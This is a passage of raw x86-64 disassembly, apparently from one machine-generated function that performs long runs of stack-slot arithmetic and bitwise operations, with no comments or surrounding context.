mov rcx, qword [rsp + 0xa290]
mov byte [rcx], al
lea rax, [rsp + 0x1640]
mov qword [rsp + 0xa5d8], rax
movzx eax, word [rsp + 0x1668]
mov rcx, qword [0x1401cd738]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1648], ax
mov rax, qword [rsp + 0x94e8]
mov rcx, qword [rsp + 0x92b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9580], rax
mov eax, dword [rsp + 0x5030]
mov dword [rsp + 0x50d8], eax
mov rax, qword [rsp + 0x9e18]
mov rcx, qword [rsp + 0x9b10]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa4b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x92e0]
mov eax, dword [rax]
mov dword [rsp + 0x50dc], eax
mov rax, qword [rsp + 0xa470]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9950]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cd820], ax
mov rax, qword [rsp + 0x9608]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8ef8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x279], al
mov rax, qword [rsp + 0x9e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f4]
and eax, ecx
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
lea rax, [rsp + 0x1748]
mov qword [rsp + 0xa5e0], rax
mov rax, qword [rsp + 0x9080]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
add eax, ecx
mov rcx, qword [rsp + 0x9448]
mov word [rcx], ax
lea rax, [rsp + 0x500c]
mov qword [rsp + 0xa5e8], rax
mov rax, qword [rsp + 0x9f08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8078]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9210], rax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0x8b40]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9820]
mov qword [rcx], rax
lea rax, [rsp + 0x4f9c]
mov qword [rsp + 0xa5f0], rax
movsx eax, word [rsp + 0x1504]
mov rcx, qword [rsp + 0xa0e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc0ac], ax
mov rax, qword [0x1401cd848]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x257]
add eax, ecx
mov byte [rsp + 0x213], al
movzx eax, word [rsp + 0x14cc]
mov word [rsp + 0x1774], ax
mov rax, qword [rsp + 0x9eb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9d78]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x19b], al
movsx eax, byte [rsp + 0x1fc]
movsx ecx, byte [rsp + 0x121]
shl eax, cl
mov byte [rsp + 0x23b], al
mov rax, qword [rsp + 0xa458]
mov qword [rsp + 0xa5f8], rax
mov rax, qword [rsp + 0x9fc0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8c80]
mov qword [rsp + 0xa600], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa600]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x91d0]
mov dword [rcx], eax
lea rax, [rsp + 0xa000]
mov qword [rsp + 0xa608], rax
mov eax, dword [rsp + 0x4e94]
mov ecx, dword [rsp + 0x50d4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f8c], eax
lea rax, [rsp + 0x27a]
mov qword [0x1401cda40], rax
lea rax, [rsp + 0x171c]
mov qword [rsp + 0xa610], rax
mov rax, qword [rsp + 0x9e28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x210]
and eax, ecx
mov byte [rsp + 0x1f2], al
movzx eax, word [rsp + 0x1530]
movzx ecx, word [rsp + 0x171c]
sub eax, ecx
mov word [rsp + 0x161c], ax
lea rax, [0x1401cd840]
mov qword [rsp + 0xa618], rax
mov rax, qword [rsp + 0x8f50]
mov ecx, dword [rsp + 0x4e48]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e40], eax
lea rax, [rsp + 0x4a7c]
mov qword [rsp + 0xa620], rax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0x9428]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9fe8], rax
mov rax, qword [rsp + 0x9fa0]
mov rcx, qword [rsp + 0x9f68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9510], rax
lea rax, [rsp + 0x207]
mov qword [0x1401cda48], rax
movzx eax, byte [rsp + 0x21a]
mov byte [rsp + 0x287], al
mov rax, qword [rsp + 0x99a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14c8], ax
movzx eax, word [rsp + 0x176c]
mov word [rsp + 0x1778], ax
movzx eax, byte [rsp + 0x225]
mov rcx, qword [rsp + 0xa060]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1f5], al
mov rax, qword [rsp + 0x9df0]
mov rcx, qword [rsp + 0x9a70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e58], eax
lea rax, [rsp + 0x8540]
mov qword [rsp + 0xa628], rax
mov rax, qword [rsp + 0x9018]
mov rcx, qword [rsp + 0x9b00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ff8], rax
mov rax, qword [rsp + 0x8f78]
mov eax, dword [rax]
mov dword [rsp + 0x50e0], eax
mov rax, qword [rsp + 0xa208]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc074], ax
movsx eax, byte [rsp + 0x1e8]
mov rcx, qword [0x1401cd890]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1f6], al
movzx eax, word [rsp + 0x1660]
mov word [rsp + 0x177c], ax
mov rax, qword [rsp + 0x9f30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa530]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x207], al
mov rax, qword [rsp + 0x91c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14c4]
or eax, ecx
mov word [rsp + 0x1770], ax
mov rax, qword [rsp + 0x99e8]
mov rcx, qword [rsp + 0xa250]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4c2c], eax
mov eax, dword [0x1401cd710]
mov ecx, dword [rsp + 0x4ee4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ff0]
mov dword [rcx], eax
lea rax, [rsp + 0x8ff8]
mov qword [rsp + 0xa630], rax
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x97b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b68], rax
mov rax, qword [rsp + 0x8ed8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9180]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1710], ax
lea rax, [rsp + 0x286]
mov qword [0x1401cda50], rax
lea rax, [rsp + 0x1e7]
mov qword [rsp + 0xa638], rax
movsx eax, word [rsp + 0x11f4]
movsx ecx, word [rsp + 0x1698]
add eax, ecx
mov word [rsp + 0x16bc], ax
movzx eax, byte [rsp + 0x27b]
mov byte [rsp + 0x288], al
mov rax, qword [rsp + 0xa1e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4eac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5054], eax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0x9200]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a00], rax
mov rax, qword [rsp + 0x9d38]
mov eax, dword [rax]
mov dword [rsp + 0x50e4], eax
mov rax, qword [rsp + 0x9168]
mov rcx, qword [rsp + 0x9460]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9780]
mov qword [rcx], rax
movzx eax, word [rsp + 0x15dc]
mov word [rsp + 0x1780], ax
movzx eax, word [rsp + 0x164c]
movzx ecx, word [rsp + 0x16a4]
sub eax, ecx
mov rcx, qword [0x1401cd910]
mov word [rcx], ax
movzx eax, word [rsp + 0x1538]
mov rcx, qword [rsp + 0x9568]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x151c], ax
movzx eax, byte [rsp + 0x277]
mov rcx, qword [0x1401cda20]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x180], al
mov rax, qword [rsp + 0x9980]
movzx eax, word [rax]
mov word [rsp + 0x1784], ax
mov rax, qword [rsp + 0xa3d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5018]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f2c], eax
mov rax, qword [rsp + 0x9de0]
mov rax, qword [rax]
mov qword [rsp + 0xa640], rax
mov rax, qword [rsp + 0x90e8]
mov eax, dword [rax]
mov ecx, dword [0x1401cd720]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa438]
mov dword [rcx], eax
lea rax, [rsp + 0x8bd0]
mov qword [rsp + 0xa648], rax
mov rax, qword [rsp + 0x94e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x20b]
shl eax, cl
mov rcx, qword [rsp + 0xa0a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9950]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1401cd740]
mov word [rcx], ax
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [rsp + 0x1e4]
and eax, ecx
mov byte [rsp + 0x23e], al
lea rax, [0x1401cc0a4]
mov qword [rsp + 0xa650], rax
movzx eax, byte [rsp + 0x1ec]
mov rcx, qword [rsp + 0x9920]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x20e], al
lea rax, [rsp + 0xa270]
mov qword [rsp + 0xa658], rax
mov rax, qword [rsp + 0xa5e8]
mov rcx, qword [rsp + 0xa3e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e98], eax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x9650]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa260]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4f88]
mov dword [rsp + 0x50e8], eax
movsx eax, byte [rsp + 0x107]
mov rcx, qword [0x1401cd860]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x23c], al
lea rax, [rsp + 0x1670]
mov qword [0x1401cda58], rax
mov rax, qword [rsp + 0x9b08]
movzx eax, word [rax]
mov word [rsp + 0x1788], ax
movsx eax, byte [rsp + 0x282]
mov rcx, qword [rsp + 0x9508]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9ba8]
mov byte [rcx], al
mov rax, qword [0x1401cd868]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9670]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9818]
mov byte [rcx], al
mov rax, qword [rsp + 0x9530]
movzx eax, word [rax]
mov word [rsp + 0x178c], ax
mov rax, qword [rsp + 0x9948]
mov rcx, qword [rsp + 0x8c98]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9e18], rax
mov rax, qword [rsp + 0x9f68]
mov rcx, qword [rsp + 0x9e60]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x83c0], rax
mov rax, qword [rsp + 0xa198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5050]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9df0]
mov dword [rcx], eax
lea rax, [0x1401cd720]
mov qword [rsp + 0xa660], rax
movsx eax, word [rsp + 0x1634]
movsx ecx, word [rsp + 0x15d0]
shl eax, cl
mov word [0x1401cc0e4], ax
mov rax, qword [rsp + 0x9540]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x219]
sar eax, cl
mov rcx, qword [rsp + 0x8fa8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x99f0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x26b], al
movzx eax, byte [rsp + 0x21e]
mov byte [rsp + 0x289], al
movzx eax, word [rsp + 0x171c]
mov rcx, qword [rsp + 0x91b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16b4], ax
mov eax, dword [rsp + 0x4748]
mov dword [rsp + 0x50ec], eax
mov rax, qword [rsp + 0x8ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5040]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5008], eax
mov rax, qword [rsp + 0x96f8]
mov rcx, qword [rsp + 0x9d88]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8e20], rax
mov rax, qword [rsp + 0x9188]
mov qword [rsp + 0xa668], rax
movsx eax, word [rsp + 0x14c4]
mov rcx, qword [rsp + 0xa108]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cd7e8], ax
mov rax, qword [rsp + 0x9630]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f7]
sub eax, ecx
mov byte [rsp + 0x21b], al
lea rax, [rsp + 0x1fa]
mov qword [rsp + 0xa670], rax
mov rax, qword [rsp + 0x9748]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1750], ax
mov rax, qword [rsp + 0x9938]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9690]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1580], ax
mov rax, qword [rsp + 0x9d08]
mov rax, qword [rax]
mov qword [rsp + 0xa678], rax
mov rax, qword [rsp + 0x9fa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ed8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa188]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5048]
mov dword [rsp + 0x50f0], eax
mov rax, qword [rsp + 0xa3f0]
mov rax, qword [rax]
mov rcx, qword [0x1401cc020]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d00], rax
movsx eax, byte [rsp + 0xe1]
movsx ecx, byte [rsp + 0x246]
and eax, ecx
mov rcx, qword [0x1401cd848]
mov byte [rcx], al
mov rax, qword [0x1401cd9c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x100c]
sar eax, cl
mov word [rsp + 0x15a4], ax
lea rax, [rsp + 0x1750]
mov qword [rsp + 0xa680], rax
movsx eax, byte [rsp + 0x20a]
mov rcx, qword [rsp + 0x9318]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa5a0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x211]
mov byte [rsp + 0x28a], al
mov rax, qword [rsp + 0xa310]
mov rcx, qword [rsp + 0x9018]
mov qword [rsp + 0xa688], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa688]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa3a0], rax
mov rax, qword [rsp + 0x9e50]
mov rax, qword [rax]
mov qword [rsp + 0xa690], rax
mov rax, qword [rsp + 0x9a70]
mov ecx, dword [0x1401cc01c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9cd0]
mov rcx, qword [rsp + 0xa620]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e7c], eax
lea rax, [rsp + 0x24b]
mov qword [0x1401cda60], rax
movzx eax, word [rsp + 0x162c]
mov word [rsp + 0x1790], ax
movzx eax, byte [0x1401cc033]
mov rcx, qword [rsp + 0x9db0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa0e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9340]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9080]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x10c0], ax
mov rax, qword [0x1401cda58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1528]
sub eax, ecx
mov rcx, qword [rsp + 0x8fc8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa5e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5034]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa438]
mov dword [rcx], eax
lea rax, [rsp + 0x9750]
mov qword [rsp + 0xa698], rax
mov rax, qword [rsp + 0x9800]
mov rcx, qword [rsp + 0x9760]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9dd0]
mov rax, qword [rax]
mov qword [rsp + 0xa6a0], rax
movsx eax, byte [rsp + 0x222]
mov rcx, qword [rsp + 0x93c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [str.__t1xEM_g], al
mov rax, qword [0x1401cd740]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16c0]
add eax, ecx
mov rcx, qword [rsp + 0x97a0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x209]
movsx ecx, byte [rsp + 0x1fc]
add eax, ecx
mov rcx, qword [rsp + 0x9138]
mov byte [rcx], al
mov rax, qword [rsp + 0x9a68]
movzx eax, word [rax]
mov word [rsp + 0x1794], ax
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x95a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10f8], ax
mov rax, qword [rsp + 0x9e18]
mov qword [rsp + 0xa6a8], rax
mov rax, qword [rsp + 0xa320]
mov ecx, dword [rsp + 0x4f18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4fa4], eax
mov eax, dword [rsp + 0x4f70]
movzx ecx, al
mov eax, dword [rsp + 0x4dd8]
shr eax, cl
mov dword [rsp + 0x4e80], eax
lea rax, [rsp + 0x9198]
mov qword [rsp + 0xa6b0], rax
movzx eax, byte [rsp + 0x21f]
mov rcx, qword [rsp + 0x9430]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401cc01a], al
movzx eax, byte [rsp + 0x205]
movzx ecx, byte [rsp + 0x221]
or eax, ecx
mov byte [rsp + 0x27d], al
lea rax, [rsp + 0x20c]
mov qword [rsp + 0xa6b8], rax
mov rax, qword [rsp + 0x8f80]
movzx eax, byte [rax]
mov rcx, qword [0x1401cda20]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1e0], al
lea rax, [rsp + 0x1628]
mov qword [rsp + 0xa6c0], rax
mov rax, qword [rsp + 0x93f8]
mov rcx, qword [rsp + 0x8b40]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x96d0], rax
mov rax, qword [rsp + 0x95b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa070]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fb0], rax
mov eax, dword [rsp + 0x5070]
mov dword [rsp + 0x50f4], eax
mov rax, qword [rsp + 0x98f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4eac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x90e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x15d4]
movzx ecx, word [0x1401cd830]
and eax, ecx
mov word [0x1401cc054], ax
movzx eax, word [rsp + 0x174c]
mov word [rsp + 0x1798], ax
movsx eax, byte [rsp + 0x1fe]
mov rcx, qword [rsp + 0xa0c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x143], al
mov rax, qword [rsp + 0x9398]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9a18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16e0], ax
lea rax, [rsp + 0x251]
mov qword [rsp + 0xa6c8], rax
mov rax, qword [rsp + 0x94c8]
mov rcx, qword [rsp + 0xa4f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x505c], eax
lea rax, [rsp + 0x86e8]
mov qword [rsp + 0xa6d0], rax
mov rax, qword [rsp + 0x9588]
mov rcx, qword [rsp + 0xa048]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8100], rax
mov rax, qword [rsp + 0xa350]
mov rcx, qword [rsp + 0x9f00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4fa4], eax
lea rax, [rsp + 0x225]
mov qword [rsp + 0xa6d8], rax
lea rax, [rsp + 0x14e8]
mov qword [0x1401cda68], rax
movzx eax, word [rsp + 0x1520]
mov rcx, qword [rsp + 0x9e70]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9a18]
mov word [rcx], ax
movzx eax, byte [rsp + 0x24b]
mov byte [rsp + 0x28b], al
movsx eax, word [0x1401cc0e4]
mov rcx, qword [rsp + 0x9850]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9248]
mov word [rcx], ax
mov rax, qword [rsp + 0x9dd0]
mov rax, qword [rax]
mov qword [rsp + 0xa6e0], rax
mov eax, dword [rsp + 0x4f84]
mov rcx, qword [rsp + 0x9408]
mov qword [rsp + 0xa6e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa6e8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x9270]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9780]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa270]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8ef0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9b28]
mov eax, dword [rax]
mov dword [rsp + 0x50f8], eax
movsx eax, byte [rsp + 0x63]
mov rcx, qword [rsp + 0xa150]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9f60]
mov byte [rcx], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
mov word [0x1401cda70], ax
mov rax, qword [rsp + 0x94a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1604]
add eax, ecx
mov word [rsp + 0x1404], ax
movzx eax, byte [rsp + 0x251]
movzx ecx, byte [rsp + 0x1ec]
add eax, ecx
mov byte [rsp + 0x22e], al
mov rax, qword [rsp + 0x95f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9db0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x215], al
mov rax, qword [rsp + 0x92f8]
mov qword [rsp + 0xa6f0], rax
mov rax, qword [rsp + 0x9060]
mov rcx, qword [rsp + 0x8c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f2c], eax
mov rax, qword [rsp + 0x9c00]
mov rax, qword [rax]
mov qword [rsp + 0xa6f8], rax
mov rax, qword [rsp + 0xa620]
mov rcx, qword [rsp + 0xa1a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9470]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9628]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa6c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1630], ax
mov rax, qword [rsp + 0x9ee0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1574]
sub eax, ecx
mov word [0x1401cc0d4], ax
lea rax, [rsp + 0x267]
mov qword [rsp + 0xa700], rax
movsx eax, word [0x1401cc0c8]
mov rcx, qword [rsp + 0x9748]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16e4], ax
movzx eax, byte [rsp + 0x73]
mov byte [rsp + 0x28c], al
mov eax, dword [rsp + 0x4f2c]
mov ecx, dword [rsp + 0x506c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4de8], eax
mov rax, qword [rsp + 0xa178]
mov rcx, qword [rsp + 0xa4e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9238], rax
mov rax, qword [rsp + 0x9130]
mov rax, qword [rax]
mov qword [rsp + 0xa708], rax
mov rax, qword [rsp + 0x9120]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9698]
mov qword [rsp + 0xa710], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa710]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4f24], eax
lea rax, [0x1401cd78c]
mov qword [rsp + 0xa718], rax
mov rax, qword [rsp + 0xa038]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x237]
xor eax, ecx
mov byte [0x1401cc062], al
movzx eax, byte [rsp + 0x1e9]
mov rcx, qword [rsp + 0x96b0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x93b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9380]
movzx eax, word [rax]
mov word [rsp + 0x179c], ax
mov rax, qword [rsp + 0xa258]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x151c]
and eax, ecx
mov rcx, qword [rsp + 0x9180]
mov word [rcx], ax
movzx eax, byte [rsp + 0x288]
movzx ecx, byte [0x1401cc00e]
add eax, ecx
mov byte [rsp + 0xb1], al
mov rax, qword [rsp + 0x8f48]
mov eax, dword [rax]
mov dword [rsp + 0x50fc], eax
mov rax, qword [rsp + 0xa118]
mov rcx, qword [rsp + 0x8e00]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9188], rax
mov rax, qword [rsp + 0x9798]
mov eax, dword [rax]
mov dword [rsp + 0x5100], eax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0x9d70]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x96d0], rax
movzx eax, word [rsp + 0x14fc]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc0d4], ax
mov rax, qword [rsp + 0xa038]
movsx eax, byte [rax]
mov rcx, qword [0x1401cd758]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9318]
mov byte [rcx], al
lea rax, [rsp + 0x15c4]
mov qword [rsp + 0xa720], rax
movsx eax, byte [rsp + 0x1e4]
mov rcx, qword [rsp + 0x9318]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x264], al
lea rax, [rsp + 0x251]
mov qword [rsp + 0xa728], rax
mov rax, qword [rsp + 0x96e8]
mov rax, qword [rax]
mov rcx, qword [0x1401cc028]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9fb8], rax
mov rax, qword [rsp + 0xa0f8]
mov rcx, qword [rsp + 0x9618]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa548], rax
mov eax, dword [0x1401cd720]
mov dword [rsp + 0x5104], eax
mov rax, qword [rsp + 0x9df0]
mov ecx, dword [rsp + 0x4eb8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9b78]
mov dword [rcx], eax
movzx eax, word [rsp + 0x15a0]
mov rcx, qword [rsp + 0x9498]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401cc0d0], ax
lea rax, [0x1401cc00f]
mov qword [rsp + 0xa730], rax
movsx eax, byte [rsp + 0x242]
mov rcx, qword [rsp + 0xa038]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1e4], al
lea rax, [rsp + 0x1510]
mov qword [rsp + 0xa738], rax
mov rax, qword [rsp + 0xa470]
movsx eax, word [rax]
cdq
mov ecx, 0x66ca
idiv ecx
mov rcx, qword [rsp + 0xa680]
mov word [rcx], ax
mov rax, qword [rsp + 0xa320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5018]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa278]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa080]
mov rax, qword [rax]
mov qword [rsp + 0xa740], rax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0xa3a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f28], rax
mov rax, qword [rsp + 0x8df8]
mov ecx, dword [rsp + 0x4e5c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x47b8], eax
lea rax, [rsp + 0x1b7]
mov qword [0x1401cda78], rax
mov rax, qword [0x1401cd9e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c48]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1568], ax
movzx eax, word [rsp + 0x15a0]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa370]
mov word [rcx], ax
movzx eax, byte [rsp + 0x20c]
mov byte [rsp + 0x28d], al
movsx eax, word [0x1401cd950]
movsx ecx, word [rsp + 0x15c4]
add eax, ecx
mov word [rsp + 0x154c], ax
mov rax, qword [rsp + 0x9948]
mov rax, qword [rax]
mov qword [rsp + 0xa748], rax
mov eax, dword [rsp + 0x4f2c]
mov ecx, dword [rsp + 0x5100]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9d08]
mov rax, qword [rax]
mov rcx, qword [0x1401cc028]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8e58]
mov qword [rcx], rax
lea rax, [rsp + 0x5048]
mov qword [rsp + 0xa750], rax
